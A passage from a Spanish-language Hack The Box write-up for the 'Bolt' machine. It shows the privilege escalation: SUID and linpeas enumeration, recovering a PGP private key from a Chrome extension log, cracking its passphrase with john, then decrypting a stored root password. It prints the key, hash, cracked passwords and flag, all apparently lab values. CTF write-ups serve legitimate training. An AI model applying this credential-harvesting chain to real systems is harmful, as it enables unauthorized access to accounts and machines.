NdLxO3vh2Eht7tqqpzJwW0CkniTLcfrzP++0cHgAKF2tkTQtLO6QOdpzIH5a
Iebmi/MVUAw3a9J+qeVvjdtvb2fKCSgEYY4ny992ov5nTKSH9Hi1ny2vrBhs
nO9/aqEQ+2tE60QFsa2dbAAn7QKk8VE2B05jBGSLa0H7xQxshwSQYnHaJCE6
TQtOIti4o2sKEAFQnf7RDgpWeugbn/vphihSA984
=P38i
-----END PGP MESSAGE-----

Ahora vamos a revisar permisos:

1
2
3
eddie@bolt:~$ sudo -l
[sudo] password for eddie: 
Sorry, user eddie may not run sudo on bolt.

No podemos utilizar sudo, vamos a buscar por SUID:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
eddie@bolt:~$  find / -perm -4000 2>/dev/null
/opt/google/chrome/chrome-sandbox
/usr/sbin/pppd
/usr/lib/xorg/Xorg.wrap
/usr/lib/policykit-1/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/gpasswd
/usr/bin/vmware-user-suid-wrapper
/usr/bin/umount
/usr/bin/fusermount
/usr/bin/mount
/usr/bin/su
/usr/bin/sudo
/usr/bin/chsh

Pero no encontramos nada de interés.

Vamos a utilizar de nuevo el linpeas.sh pero para este usuario, pues puede tener permisos diferentes lo que nos permitan otras formas de escalar.

1
2
3
4
5
Possible private SSH keys were found!
/etc/ImageMagick-6/mime.xml
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/index.min.js
/home/eddie/.config/google-chrome/Default/Extensions/didegimhafipceonhjepacocaffmoppf/3.0.5_0/vendors/openpgp.js
/home/eddie/.config/google-chrome/Default/Local Extension Settings/didegimhafipceonhjepacocaffmoppf/000003.log

Encontramos algo interesante, pues esto existía en el scaneo anterior pero lo del log no, vamos a ver de que se trata.

Encontramos un montón de información que es dificil de leer, sin embargo, si prestamos atención veremos lo siguiente:

1
-----BEGIN PGP PRIVATE KEY BLOCK-----\\r\\nVersion: OpenPGP.js v4.10.9\\r\\nComment: https://openpgpjs.org\\r\\n\\r\\n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\\r\\nPSwYYWlAywj5\\r\\n=cqxZ\\r\\n-----END PGP PRIVATE KEY BLOCK-----

Encontramos una clave privada, vamos a arreglarla para que esté en el formato adecuado:

1
eddie@bolt:~$ cat pgp.priv | tr -d '\n' > key

Luego, dentro de vi borramos este patrón:

1
:%s/\\\\r\\\\n/\r/g

Ahora si vemos la key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
eddie@bolt:~$ cat key
-----BEGIN PGP PRIVATE KEY BLOCK-----
Version: OpenPGP.js v4.10.9
Comment: https://openpgpjs.org

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
PSwYYWlAywj5
=cqxZ
-----END PGP PRIVATE KEY BLOCK-----

Ahora si se ve bien. Ahora, deberíamos agregar esta llave privada a gpg, sin embargo, necesitamos una contraseña para eso, por lo tanto, usaremos john para extraer la contraseña de esta clave privada:

1
2
3
4
gpg2john pgp

File pgp
Eddie Johnson:$gpg$*1*668*2048*2b518595f971db147efe739e2716523786988fb0ee243e5981659a314dfd0779dbba8e14e6649ba4e00cc515b9b4055a9783be133817763e161b9a8d2f2741aba80bceef6024465cba02af3bccd372297a90e078aa95579afbd60b6171cd82fd1b32a9dd016175c088e7bef9b883041eaffe933383434752686688f9d235f1d26c006a698dd6cc132d8acb94c4eceebf010845d69cd9e114873538712f2cd50c8b9ca3bcb9bbc3d83e32564f99031776ac986195e643880483ac80d3f7f1b9143563418ddea7bb71d114c4f24e41134dcdac4662e934d955aeccae92038dbed32f300ac5abed65960e26486c5da59f0d17b71ad9a8fe7a5e6bb77b8c31b68b56e7f4025f01d534be45ab36a7c0818febe23fa577ca346023feefa2bfef0899dd860e05a54d8b3e8bd430f40791a52a20067fde1861d977adf222725658a4661927d65b877cb8ac977601990cfbdb27413f5acc25ff1f691556bc8e5264cffaebbea7e7b9d73de6c719e0a7b004d331eaada86e812e3db60904eaf73a1b79c6e68e74beb6b71f6d644afbf591426418976d68c4e580cbc60b6fdd113f239ae2acd1e1dc51cb74b96b3c2f082bc0214886e1c3cebb3611311d9112d61194df22fb3ceb5783ee7d4a61b544886b389f638fc85d5139f64997014ec38ac59e65b842d92afb50184ccc3549a57dcdb3fc8720cc394912aed931007b53da1c635d302e840da2e6342803831891ab1ccc1669f3cc3240b8d31eded96696d7ad1525c4d277a4d3123abecafdbdde207714539c2e546cd45c4452051394e5d00e711fa5353f817be4fa6827aa0f1428dfb93a918e93975fb4baf3297aa3b7fec33470cf2741237a629b869a762684602057f3e3e6df9c97631caa7589dc4b26653162dfb2f2cf508cbe375496ba735830c2c00f151cdd50c522afe33dbe4265d2*3*254*8*9*16*b81f0847e01fb836c8cc7c8a2af31f19*16777216*34af9ef3956d5ad8:::Eddie Johnson <eddie@bolt.htb>::pgp

Esto nos da un hash que podemos intentar romper:

1
2
3
4
5
6
7
8
9
10
11
john --wordlist=/usr/share/wordlists/rockyou.txt hashpgp
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 16777216 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 8 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
merrychristmas   (Eddie Johnson)     
1g 0:00:07:33 DONE (2023-02-15 17:56) 0.002206g/s 94.51p/s 94.51c/s 94.51C/s mhines..menudo
Use the "--show" option to display all of the cracked passwords reliably

Luego, con esta contraseña (merrychristmas) vamos a agregarla a gpg:

1
2
3
4
5
6
7
8
gpg --import pgp
gpg: /home/kali/.gnupg/trustdb.gpg: trustdb created
gpg: key 1C2741A3DC3B4ABD: public key "Eddie Johnson <eddie@bolt.htb>" imported
gpg: key 1C2741A3DC3B4ABD: secret key imported
gpg: Total number processed: 1
gpg:               imported: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1

Luego, cuando tenemos agregada la contraseña vamos a pasar a un archivo el mensaje cifrado y descifrarlo utilizando la llave privada:

1
2
3
4
5
6
7
8
9
gpg -d mensaje
gpg: encrypted with 2048-bit RSA key, ID F65CA879A3D77FE4, created 2021-02-25
      "Eddie Johnson <eddie@bolt.htb>"
{"password":"Z(2rmxsNW(Z?3=p/9s","description":""}gpg: Signature made Sat 06 Mar 2021 10:33:54 AM EST
gpg:                using RSA key 1C2741A3DC3B4ABD
gpg: Good signature from "Eddie Johnson <eddie@bolt.htb>" [unknown]
gpg: WARNING: This key is not certified with a trusted signature!
gpg:          There is no indication that the signature belongs to the owner.
Primary key fingerprint: DF42 6BC7 A4A8 AF58 E50E  DA0E 1C27 41A3 DC3B 4ABD

Tenemos entonces una contraseña, vamos a probar si es de administrador:

1
2
3
4
eddie@bolt:~$ su root
Password: 
root@bolt:/home/eddie# whoami
root

¡Bien! Somos administradores, ahora solo falta encontrar la flag:

1
2
3
root@bolt:/home/eddie# cd /root/
root@bolt:~# cat root.txt
6b9b7b7b1cda07d43e4b7cc

¡Listo! Hemos terminado la máquina.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.